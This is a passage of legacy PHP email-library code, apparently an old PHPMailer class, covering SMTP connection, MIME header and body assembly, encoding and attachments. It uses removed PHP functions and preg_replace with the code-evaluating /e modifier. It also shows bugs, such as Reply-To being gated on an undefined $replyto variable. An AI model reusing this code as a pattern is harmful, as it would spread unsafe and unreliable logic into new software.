2049 $hosts = explode(';', $this->Host);
2050 $index = 0;
2051 $connection = ($this->smtp->Connected());
2052
2053 /* Retry while there is no connection */
2054 while($index < count($hosts) && $connection == false) {
2055 $hostinfo = array();
2056 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
2057 $host = $hostinfo[1];
2058 $port = $hostinfo[2];
2059 } else {
2060 $host = $hosts[$index];
2061 $port = $this->Port;
2062 }
2063
2064 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
2065 if ($this->Helo != '') {
2066 $this->smtp->Hello($this->Helo);
2067 } else {
2068 $this->smtp->Hello($this->ServerHostname());
2069 }
2070
2071 $connection = true;
2072 if($this->SMTPAuth) {
2073 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
2074 $this->SetError($this->Lang('authenticate'));
2075 $this->smtp->Reset();
2076 $connection = false;
2077 }
2078 }
2079 }
2080 $index++;
2081 }
2082 if(!$connection) {
2083 $this->SetError($this->Lang('connect_host'));
2084 }
2085
2086 return $connection;
2087 }
2088
2089 /**
2090 * Closes the active SMTP session if one exists.
2091 * @return void
2092 */
2093 function SmtpClose() {
2094 if($this->smtp != NULL) {
2095 if($this->smtp->Connected()) {
2096 $this->smtp->Quit();
2097 $this->smtp->Close();
2098 }
2099 }
2100 }
2101
2102 /**
2103 * Sets the language for all class error messages. Returns false
2104 * if it cannot load the language file. The default language type
2105 * is English.
2106 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2107 * @param string $lang_path Path to the language file directory
2108 * @access public
2109 * @return bool
2110 */
2111 function SetLanguage($lang_type, $lang_path = 'language/') {
2112 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2113 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2114 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2115 include($lang_path.'phpmailer.lang-en.php');
2116 } else {
2117 $this->SetError('Could not load language file');
2118 return false;
2119 }
2120 $this->language = $PHPMAILER_LANG;
2121
2122 return true;
2123 }
2124
2125 /////////////////////////////////////////////////
2126 // METHODS, MESSAGE CREATION
2127 /////////////////////////////////////////////////
2128
2129 /**
2130 * Creates recipient headers.
2131 * @access private
2132 * @return string
2133 */
2134 function AddrAppend($type, $addr) {
2135 $addr_str = $type . ': ';
2136 $addr_str .= $this->AddrFormat($addr[0]);
2137 if(count($addr) > 1) {
2138 for($i = 1; $i < count($addr); $i++) {
2139 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2140 }
2141 }
2142 $addr_str .= $this->LE;
2143
2144 return $addr_str;
2145 }
2146
2147 /**
2148 * Formats an address correctly.
2149 * @access private
2150 * @return string
2151 */
2152 function AddrFormat($addr) {
2153 if(empty($addr[1])) {
2154 $formatted = $this->SecureHeader($addr[0]);
2155 } else {
2156 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2157 }
2158
2159 return $formatted;
2160 }
2161
2162 /**
2163 * Wraps message for use with mailers that do not
2164 * automatically perform wrapping and for quoted-printable.
2165 * Original written by philippe.
2166 * @access private
2167 * @return string
2168 */
2169 function WrapText($message, $length, $qp_mode = false) {
2170 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2171 // If utf-8 encoding is used, we will need to make sure we don't
2172 // split multibyte characters when we wrap
2173 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2174
2175 $message = $this->FixEOL($message);
2176 if (substr($message, -1) == $this->LE) {
2177 $message = substr($message, 0, -1);
2178 }
2179
2180 $line = explode($this->LE, $message);
2181 $message = '';
2182 for ($i=0 ;$i < count($line); $i++) {
2183 $line_part = explode(' ', $line[$i]);
2184 $buf = '';
2185 for ($e = 0; $e<count($line_part); $e++) {
2186 $word = $line_part[$e];
2187 if ($qp_mode and (strlen($word) > $length)) {
2188 $space_left = $length - strlen($buf) - 1;
2189 if ($e != 0) {
2190 if ($space_left > 20) {
2191 $len = $space_left;
2192 if ($is_utf8) {
2193 $len = $this->UTF8CharBoundary($word, $len);
2194 } elseif (substr($word, $len - 1, 1) == "=") {
2195 $len--;
2196 } elseif (substr($word, $len - 2, 1) == "=") {
2197 $len -= 2;
2198 }
2199 $part = substr($word, 0, $len);
2200 $word = substr($word, $len);
2201 $buf .= ' ' . $part;
2202 $message .= $buf . sprintf("=%s", $this->LE);
2203 } else {
2204 $message .= $buf . $soft_break;
2205 }
2206 $buf = '';
2207 }
2208 while (strlen($word) > 0) {
2209 $len = $length;
2210 if ($is_utf8) {
2211 $len = $this->UTF8CharBoundary($word, $len);
2212 } elseif (substr($word, $len - 1, 1) == "=") {
2213 $len--;
2214 } elseif (substr($word, $len - 2, 1) == "=") {
2215 $len -= 2;
2216 }
2217 $part = substr($word, 0, $len);
2218 $word = substr($word, $len);
2219
2220 if (strlen($word) > 0) {
2221 $message .= $part . sprintf("=%s", $this->LE);
2222 } else {
2223 $buf = $part;
2224 }
2225 }
2226 } else {
2227 $buf_o = $buf;
2228 $buf .= ($e == 0) ? $word : (' ' . $word);
2229
2230 if (strlen($buf) > $length and $buf_o != '') {
2231 $message .= $buf_o . $soft_break;
2232 $buf = $word;
2233 }
2234 }
2235 }
2236 $message .= $buf . $this->LE;
2237 }
2238
2239 return $message;
2240 }
2241
2242 /**
2243 * Finds last character boundary prior to maxLength in a utf-8
2244 * quoted (printable) encoded string.
2245 * Original written by Colin Brown.
2246 * @access private
2247 * @param string $encodedText utf-8 QP text
2248 * @param int $maxLength find last character boundary prior to this length
2249 * @return int
2250 */
2251 function UTF8CharBoundary($encodedText, $maxLength) {
2252 $foundSplitPos = false;
2253 $lookBack = 3;
2254 while (!$foundSplitPos) {
2255 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2256 $encodedCharPos = strpos($lastChunk, "=");
2257 if ($encodedCharPos !== false) {
2258 // Found start of encoded character byte within $lookBack block.
2259 // Check the encoded byte value (the 2 chars after the '=')
2260 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2261 $dec = hexdec($hex);
2262 if ($dec < 128) { // Single byte character.
2263 // If the encoded char was found at pos 0, it will fit
2264 // otherwise reduce maxLength to start of the encoded char
2265 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2266 $maxLength - ($lookBack - $encodedCharPos);
2267 $foundSplitPos = true;
2268 } elseif ($dec >= 192) { // First byte of a multi byte character
2269 // Reduce maxLength to split at start of character
2270 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2271 $foundSplitPos = true;
2272 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2273 $lookBack += 3;
2274 }
2275 } else {
2276 // No encoded character found
2277 $foundSplitPos = true;
2278 }
2279 }
2280 return $maxLength;
2281 }
2282
2283 /**
2284 * Set the body wrapping.
2285 * @access private
2286 * @return void
2287 */
2288 function SetWordWrap() {
2289 if($this->WordWrap < 1) {
2290 return;
2291 }
2292
2293 switch($this->message_type) {
2294 case 'alt':
2295 /* fall through */
2296 case 'alt_attachments':
2297 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2298 break;
2299 default:
2300 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2301 break;
2302 }
2303 }
2304
2305 /**
2306 * Assembles message header.
2307 * @access private
2308 * @return string
2309 */
2310 function CreateHeader() {
2311 $result = '';
2312
2313 /* Set the boundaries */
2314 $uniq_id = md5(uniqid(time()));
2315 $this->boundary[1] = 'b1_' . $uniq_id;
2316 $this->boundary[2] = 'b2_' . $uniq_id;
2317
2318 $result .= $this->HeaderLine('Date', $this->RFCDate());
2319 if($this->Sender == '') {
2320 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2321 } else {
2322 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2323 }
2324
2325 /* To be created automatically by mail() */
2326 if($this->Mailer != 'mail') {
2327 if(count($this->to) > 0) {
2328 $result .= $this->AddrAppend('To', $this->to);
2329 } elseif (count($this->cc) == 0) {
2330 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2331 }
2332 if(count($this->cc) > 0) {
2333 $result .= $this->AddrAppend('Cc', $this->cc);
2334 }
2335 }
2336
2337 $from = array();
2338 $from[0][0] = trim($this->From);
2339 $from[0][1] = $this->FromName;
2340 $result .= $this->AddrAppend('From', $from);
2341
2342 /* sendmail and mail() extract Cc from the header before sending */
2343 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2344 $result .= $this->AddrAppend('Cc', $this->cc);
2345 }
2346
2347 /* sendmail and mail() extract Bcc from the header before sending */
2348 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2349 $result .= $this->AddrAppend('Bcc', $this->bcc);
2350 }
2351 if($replyto != "")
2352 {
2353 if(count($this->ReplyTo) > 0) {
2354 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2355 }
2356 }
2357 /* mail() sets the subject itself */
2358 if($this->Mailer != 'mail') {
2359 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2360 }
2361
2362 if($this->MessageID != '') {
2363 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2364 } else {
2365 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2366 }
2367 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2368 if($this->ConfirmReadingTo != '') {
2369 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2370 }
2371
2372 // Add custom headers
2373 for($index = 0; $index < count($this->CustomHeader); $index++) {
2374 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2375 }
2376 if (!$this->sign_key_file) {
2377 $result .= $this->HeaderLine('MIME-Version', '1.0');
2378 $result .= $this->GetMailMIME();
2379 }
2380
2381 return $result;
2382 }
2383
2384 /**
2385 * Returns the message MIME.
2386 * @access private
2387 * @return string
2388 */
2389 function GetMailMIME() {
2390 $result = '';
2391 switch($this->message_type) {
2392 case 'plain':
2393 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2394 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2395 break;
2396 case 'attachments':
2397 /* fall through */
2398 case 'alt_attachments':
2399 if($this->InlineImageExists()){
2400 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2401 } else {
2402 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2403 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2404 }
2405 break;
2406 case 'alt':
2407 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2408 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2409 break;
2410 }
2411
2412 if($this->Mailer != 'mail') {
2413 $result .= $this->LE.$this->LE;
2414 }
2415
2416 return $result;
2417 }
2418
2419 /**
2420 * Assembles the message body. Returns an empty string on failure.
2421 * @access private
2422 * @return string
2423 */
2424 function CreateBody() {
2425 $result = '';
2426 if ($this->sign_key_file) {
2427 $result .= $this->GetMailMIME();
2428 }
2429
2430 $this->SetWordWrap();
2431
2432 switch($this->message_type) {
2433 case 'alt':
2434 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2435 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2436 $result .= $this->LE.$this->LE;
2437 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2438 $result .= $this->EncodeString($this->Body, $this->Encoding);
2439 $result .= $this->LE.$this->LE;
2440 $result .= $this->EndBoundary($this->boundary[1]);
2441 break;
2442 case 'plain':
2443 $result .= $this->EncodeString($this->Body, $this->Encoding);
2444 break;
2445 case 'attachments':
2446 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2447 $result .= $this->EncodeString($this->Body, $this->Encoding);
2448 $result .= $this->LE;
2449 $result .= $this->AttachAll();
2450 break;
2451 case 'alt_attachments':
2452 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2453 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2454 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2455 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2456 $result .= $this->LE.$this->LE;
2457 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2458 $result .= $this->EncodeString($this->Body, $this->Encoding);
2459 $result .= $this->LE.$this->LE;
2460 $result .= $this->EndBoundary($this->boundary[2]);
2461 $result .= $this->AttachAll();
2462 break;
2463 }
2464
2465 if($this->IsError()) {
2466 $result = '';
2467 } else if ($this->sign_key_file) {
2468 $file = tempnam("", "mail");
2469 $fp = fopen($file, "w");
2470 fwrite($fp, $result);
2471 fclose($fp);
2472 $signed = tempnam("", "signed");
2473
2474 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2475 $fp = fopen($signed, "r");
2476 $result = fread($fp, filesize($this->sign_key_file));
2477 fclose($fp);
2478 } else {
2479 $this->SetError($this->Lang("signing").openssl_error_string());
2480 $result = '';
2481 }
2482
2483 unlink($file);
2484 unlink($signed);
2485 }
2486
2487 return $result;
2488 }
2489
2490 /**
2491 * Returns the start of a message boundary.
2492 * @access private
2493 */
2494 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2495 $result = '';
2496 if($charSet == '') {
2497 $charSet = $this->CharSet;
2498 }
2499 if($contentType == '') {
2500 $contentType = $this->ContentType;
2501 }
2502 if($encoding == '') {
2503 $encoding = $this->Encoding;
2504 }
2505 $result .= $this->TextLine('--' . $boundary);
2506 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2507 $result .= $this->LE;
2508 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2509 $result .= $this->LE;
2510
2511 return $result;
2512 }
2513
2514 /**
2515 * Returns the end of a message boundary.
2516 * @access private
2517 */
2518 function EndBoundary($boundary) {
2519 return $this->LE . '--' . $boundary . '--' . $this->LE;
2520 }
2521
2522 /**
2523 * Sets the message type.
2524 * @access private
2525 * @return void
2526 */
2527 function SetMessageType() {
2528 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2529 $this->message_type = 'plain';
2530 } else {
2531 if(count($this->attachment) > 0) {
2532 $this->message_type = 'attachments';
2533 }
2534 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2535 $this->message_type = 'alt';
2536 }
2537 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2538 $this->message_type = 'alt_attachments';
2539 }
2540 }
2541 }
2542
2543 /* Returns a formatted header line.
2544 * @access private
2545 * @return string
2546 */
2547 function HeaderLine($name, $value) {
2548 return $name . ': ' . $value . $this->LE;
2549 }
2550
2551 /**
2552 * Returns a formatted mail line.
2553 * @access private
2554 * @return string
2555 */
2556 function TextLine($value) {
2557 return $value . $this->LE;
2558 }
2559
2560 /////////////////////////////////////////////////
2561 // CLASS METHODS, ATTACHMENTS
2562 /////////////////////////////////////////////////
2563
2564 /**
2565 * Adds an attachment from a path on the filesystem.
2566 * Returns false if the file could not be found
2567 * or accessed.
2568 * @param string $path Path to the attachment.
2569 * @param string $name Overrides the attachment name.
2570 * @param string $encoding File encoding (see $Encoding).
2571 * @param string $type File extension (MIME) type.
2572 * @return bool
2573 */
2574 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2575 if(!@is_file($path)) {
2576 $this->SetError($this->Lang('file_access') . $path);
2577 return false;
2578 }
2579
2580 $filename = basename($path);
2581 if($name == '') {
2582 $name = $filename;
2583 }
2584
2585 $cur = count($this->attachment);
2586 $this->attachment[$cur][0] = $path;
2587 $this->attachment[$cur][1] = $filename;
2588 $this->attachment[$cur][2] = $name;
2589 $this->attachment[$cur][3] = $encoding;
2590 $this->attachment[$cur][4] = $type;
2591 $this->attachment[$cur][5] = false; // isStringAttachment
2592 $this->attachment[$cur][6] = 'attachment';
2593 $this->attachment[$cur][7] = 0;
2594
2595 return true;
2596 }
2597
2598 /**
2599 * Attaches all fs, string, and binary attachments to the message.
2600 * Returns an empty string on failure.
2601 * @access private
2602 * @return string
2603 */
2604 function AttachAll() {
2605 /* Return text of body */
2606 $mime = array();
2607
2608 /* Add all attachments */
2609 for($i = 0; $i < count($this->attachment); $i++) {
2610 /* Check for string attachment */
2611 $bString = $this->attachment[$i][5];
2612 if ($bString) {
2613 $string = $this->attachment[$i][0];
2614 } else {
2615 $path = $this->attachment[$i][0];
2616 }
2617
2618 $filename = $this->attachment[$i][1];
2619 $name = $this->attachment[$i][2];
2620 $encoding = $this->attachment[$i][3];
2621 $type = $this->attachment[$i][4];
2622 $disposition = $this->attachment[$i][6];
2623 $cid = $this->attachment[$i][7];
2624
2625 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2626 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2627 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2628
2629 if($disposition == 'inline') {
2630 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2631 }
2632
2633 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2634
2635 /* Encode as string attachment */
2636 if($bString) {
2637 $mime[] = $this->EncodeString($string, $encoding);
2638 if($this->IsError()) {
2639 return '';
2640 }
2641 $mime[] = $this->LE.$this->LE;
2642 } else {
2643 $mime[] = $this->EncodeFile($path, $encoding);
2644 if($this->IsError()) {
2645 return '';
2646 }
2647 $mime[] = $this->LE.$this->LE;
2648 }
2649 }
2650
2651 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2652
2653 return join('', $mime);
2654 }
2655
2656 /**
2657 * Encodes attachment in requested format. Returns an
2658 * empty string on failure.
2659 * @access private
2660 * @return string
2661 */
2662 function EncodeFile ($path, $encoding = 'base64') {
2663 if(!@$fd = fopen($path, 'rb')) {
2664 $this->SetError($this->Lang('file_open') . $path);
2665 return '';
2666 }
2667 $magic_quotes = get_magic_quotes_runtime();
2668 set_magic_quotes_runtime(0);
2669 $file_buffer = fread($fd, filesize($path));
2670 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2671 fclose($fd);
2672 set_magic_quotes_runtime($magic_quotes);
2673
2674 return $file_buffer;
2675 }
2676
2677 /**
2678 * Encodes string to requested format. Returns an
2679 * empty string on failure.
2680 * @access private
2681 * @return string
2682 */
2683 function EncodeString ($str, $encoding = 'base64') {
2684 $encoded = '';
2685 switch(strtolower($encoding)) {
2686 case 'base64':
2687 /* chunk_split is found in PHP >= 3.0.6 */
2688 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2689 break;
2690 case '7bit':
2691 case '8bit':
2692 $encoded = $this->FixEOL($str);
2693 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2694 $encoded .= $this->LE;
2695 break;
2696 case 'binary':
2697 $encoded = $str;
2698 break;
2699 case 'quoted-printable':
2700 $encoded = $this->EncodeQP($str);
2701 break;
2702 default:
2703 $this->SetError($this->Lang('encoding') . $encoding);
2704 break;
2705 }
2706 return $encoded;
2707 }
2708
2709 /**
2710 * Encode a header string to best of Q, B, quoted or none.
2711 * @access private
2712 * @return string
2713 */
2714 function EncodeHeader ($str, $position = 'text') {
2715 $x = 0;
2716
2717 switch (strtolower($position)) {
2718 case 'phrase':
2719 if (!preg_match('/[\200-\377]/', $str)) {
2720 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2721 $encoded = addcslashes($str, "\0..\37\177\\\"");
2722 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2723 return ($encoded);
2724 } else {
2725 return ("\"$encoded\"");
2726 }
2727 }
2728 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2729 break;
2730 case 'comment':
2731 $x = preg_match_all('/[()"]/', $str, $matches);
2732 /* Fall-through */
2733 case 'text':
2734 default:
2735 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2736 break;
2737 }
2738
2739 if ($x == 0) {
2740 return ($str);
2741 }
2742
2743 $maxlen = 75 - 7 - strlen($this->CharSet);
2744 /* Try to select the encoding which should produce the shortest output */
2745 if (strlen($str)/3 < $x) {
2746 $encoding = 'B';
2747 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2748 // Use a custom function which correctly encodes and wraps long
2749 // multibyte strings without breaking lines within a character
2750 $encoded = $this->Base64EncodeWrapMB($str);
2751 } else {
2752 $encoded = base64_encode($str);
2753 $maxlen -= $maxlen % 4;
2754 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2755 }
2756 } else {
2757 $encoding = 'Q';
2758 $encoded = $this->EncodeQ($str, $position);
2759 $encoded = $this->WrapText($encoded, $maxlen, true);
2760 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2761 }
2762
2763 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2764 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2765
2766 return $encoded;
2767 }
2768
2769 /**
2770 * Checks if a string contains multibyte characters.
2771 * @access private
2772 * @param string $str multi-byte text to wrap encode
2773 * @return bool
2774 */
2775 function HasMultiBytes($str) {
2776 if (function_exists('mb_strlen')) {
2777 return (strlen($str) > mb_strlen($str, $this->CharSet));
2778 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2779 return False;
2780 }
2781 }
2782
2783 /**
2784 * Correctly encodes and wraps long multibyte strings for mail headers
2785 * without breaking lines within a character.
2786 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2787 * @access private
2788 * @param string $str multi-byte text to wrap encode
2789 * @return string
2790 */
2791 function Base64EncodeWrapMB($str) {
2792 $start = "=?".$this->CharSet."?B?";
2793 $end = "?=";
2794 $encoded = "";
2795
2796 $mb_length = mb_strlen($str, $this->CharSet);
2797 // Each line must have length <= 75, including $start and $end
2798 $length = 75 - strlen($start) - strlen($end);
2799 // Average multi-byte ratio
2800 $ratio = $mb_length / strlen($str);
2801 // Base64 has a 4:3 ratio
2802 $offset = $avgLength = floor($length * $ratio * .75);
2803
2804 for ($i = 0; $i < $mb_length; $i += $offset) {
2805 $lookBack = 0;
2806
2807 do {
2808 $offset = $avgLength - $lookBack;
2809 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2810 $chunk = base64_encode($chunk);
2811 $lookBack++;
2812 }
2813 while (strlen($chunk) > $length);
2814
2815 $encoded .= $chunk . $this->LE;
2816 }
2817
2818 // Chomp the last linefeed
2819 $encoded = substr($encoded, 0, -strlen($this->LE));
2820 return $encoded;
2821 }
2822
2823 /**
2824 * Encode string to quoted-printable.
2825 * @access private
2826 * @return string
2827 */
2828 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2829 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2830 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2831 $eol = "\r\n";
2832 $escape = '=';
2833 $output = '';
2834 while( list(, $line) = each($lines) ) {
2835 $linlen = strlen($line);
2836 $newline = '';
2837 for($i = 0; $i < $linlen; $i++) {
2838 $c = substr( $line, $i, 1 );
2839 $dec = ord( $c );
2840 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2841 $c = '=2E';
2842 }
2843 if ( $dec == 32 ) {
2844 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2845 $c = '=20';
2846 } else if ( $space_conv ) {
2847 $c = '=20';
2848 }
2849 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2850 $h2 = floor($dec/16);
2851 $h1 = floor($dec%16);
2852 $c = $escape.$hex[$h2].$hex[$h1];
2853 }
2854 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2855 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2856 $newline = '';
2857 // check if newline first character will be point or not
2858 if ( $dec == 46 ) {
2859 $c = '=2E';
2860 }
2861 }
2862 $newline .= $c;
2863 } // end of for
2864 $output .= $newline.$eol;
2865 } // end of while
2866 return trim($output);
2867 }
2868
2869 /**
2870 * Encode string to q encoding.
2871 * @access private
2872 * @return string
2873 */
2874 function EncodeQ ($str, $position = 'text') {
2875 /* There should not be any EOL in the string */
2876 $encoded = preg_replace("[\r\n]", '', $str);
2877
2878 switch (strtolower($position)) {
2879 case 'phrase':
2880 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2881 break;
2882 case 'comment':
2883 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2884 case 'text':
2885 default:
2886 /* Replace every high ascii, control =, ? and _ characters */
2887 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2888 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2889 break;
2890 }
2891
2892 /* Replace every spaces to _ (more readable than =20) */
2893 $encoded = str_replace(' ', '_', $encoded);
2894
2895 return $encoded;
2896 }
2897
2898 /**
2899 * Adds a string or binary attachment (non-filesystem) to the list.
2900 * This method can be used to attach ascii or binary data,
2901 * such as a BLOB record from a database.
2902 * @param string $string String attachment data.
2903 * @param string $filename Name of the attachment.
2904 * @param string $encoding File encoding (see $Encoding).
2905 * @param string $type File extension (MIME) type.
2906 * @return void
2907 */
2908 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2909 /* Append to $attachment array */
2910 $cur = count($this->attachment);
2911 $this->attachment[$cur][0] = $string;
2912 $this->attachment[$cur][1] = $filename;
2913 $this->attachment[$cur][2] = $filename;
2914 $this->attachment[$cur][3] = $encoding;
2915 $this->attachment[$cur][4] = $type;
2916 $this->attachment[$cur][5] = true; // isString
2917 $this->attachment[$cur][6] = 'attachment';
2918 $this->attachment[$cur][7] = 0;
2919 }
2920
2921 /**
2922 * Adds an embedded attachment. This can include images, sounds, and
2923 * just about any other document. Make sure to set the $type to an
2924 * image type. For JPEG images use "image/jpeg" and for GIF images
2925 * use "image/gif".
2926 * @param string $path Path to the attachment.
2927 * @param string $cid Content ID of the attachment. Use this to identify
2928 * the Id for accessing the image in an HTML form.
2929 * @param string $name Overrides the attachment name.
2930 * @param string $encoding File encoding (see $Encoding).
2931 * @param string $type File extension (MIME) type.
2932 * @return bool
2933 */
2934 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2935
2936 if(!@is_file($path)) {
2937 $this->SetError($this->Lang('file_access') . $path);
2938 return false;
2939 }
2940
2941 $filename = basename($path);
2942 if($name == '') {
2943 $name = $filename;
2944 }
2945
2946 /* Append to $attachment array */
2947 $cur = count($this->attachment);
2948 $this->attachment[$cur][0] = $path;
2949 $this->attachment[$cur][1] = $filename;
2950 $this->attachment[$cur][2] = $name;
2951 $this->attachment[$cur][3] = $encoding;
2952 $this->attachment[$cur][4] = $type;
2953 $this->attachment[$cur][5] = false;
2954 $this->attachment[$cur][6] = 'inline';
2955 $this->attachment[$cur][7] = $cid;
2956
2957 return true;
2958 }
2959
2960 /**
2961 * Returns true if an inline attachment is present.
2962 * @access private
2963 * @return bool
2964 */
2965 function InlineImageExists() {
2966 $result = false;
2967 for($i = 0; $i < count($this->attachment); $i++) {
2968 if($this->attachment[$i][6] == 'inline') {
2969 $result = true;
2970 break;
2971 }
2972 }
2973
2974 return $result;
2975 }
2976
2977 /////////////////////////////////////////////////
2978 // CLASS METHODS, MESSAGE RESET
2979 /////////////////////////////////////////////////
2980
2981 /**
2982 * Clears all recipients assigned in the TO array. Returns void.
2983 * @return void
2984 */
2985 function ClearAddresses() {
2986 $this->to = array();
2987 }
2988
2989 /**
2990 * Clears all recipients assigned in the CC array. Returns void.
2991 * @return void
2992 */
2993 function ClearCCs() {
2994 $this->cc = array();
2995 }
2996
2997 /**
2998 * Clears all recipients assigned in the BCC array. Returns void.
2999 * @return void
3000 */
3001 function ClearBCCs() {
3002 $this->bcc = array();
3003 }
3004
3005 /**
3006 * Clears all recipients assigned in the ReplyTo array. Returns void.
3007 * @return void
3008 */
3009 function ClearReplyTos() {
3010 $this->ReplyTo = array();
3011 }
3012
3013 /**
3014 * Clears all recipients assigned in the TO, CC and BCC
3015 * array. Returns void.
3016 * @return void
3017 */
3018 function ClearAllRecipients() {
3019 $this->to = array();
3020 $this->cc = array();
3021 $this->bcc = array();
3022 }
3023
3024 /**
3025 * Clears all previously set filesystem, string, and binary
3026 * attachments. Returns void.
3027 * @return void
3028 */
3029 function ClearAttachments() {
3030 $this->attachment = array();
3031 }
3032
3033 /**
3034 * Clears all custom headers. Returns void.
3035 * @return void
3036 */
3037 function ClearCustomHeaders() {
3038 $this->CustomHeader = array();
3039 }
3040
3041 /////////////////////////////////////////////////
3042 // CLASS METHODS, MISCELLANEOUS
3043 /////////////////////////////////////////////////
3044
3045 /**
3046 * Adds the error message to the error container.
3047 * Returns void.
3048 * @access private
3049 * @return void
3050 */
3051 function SetError($msg) {
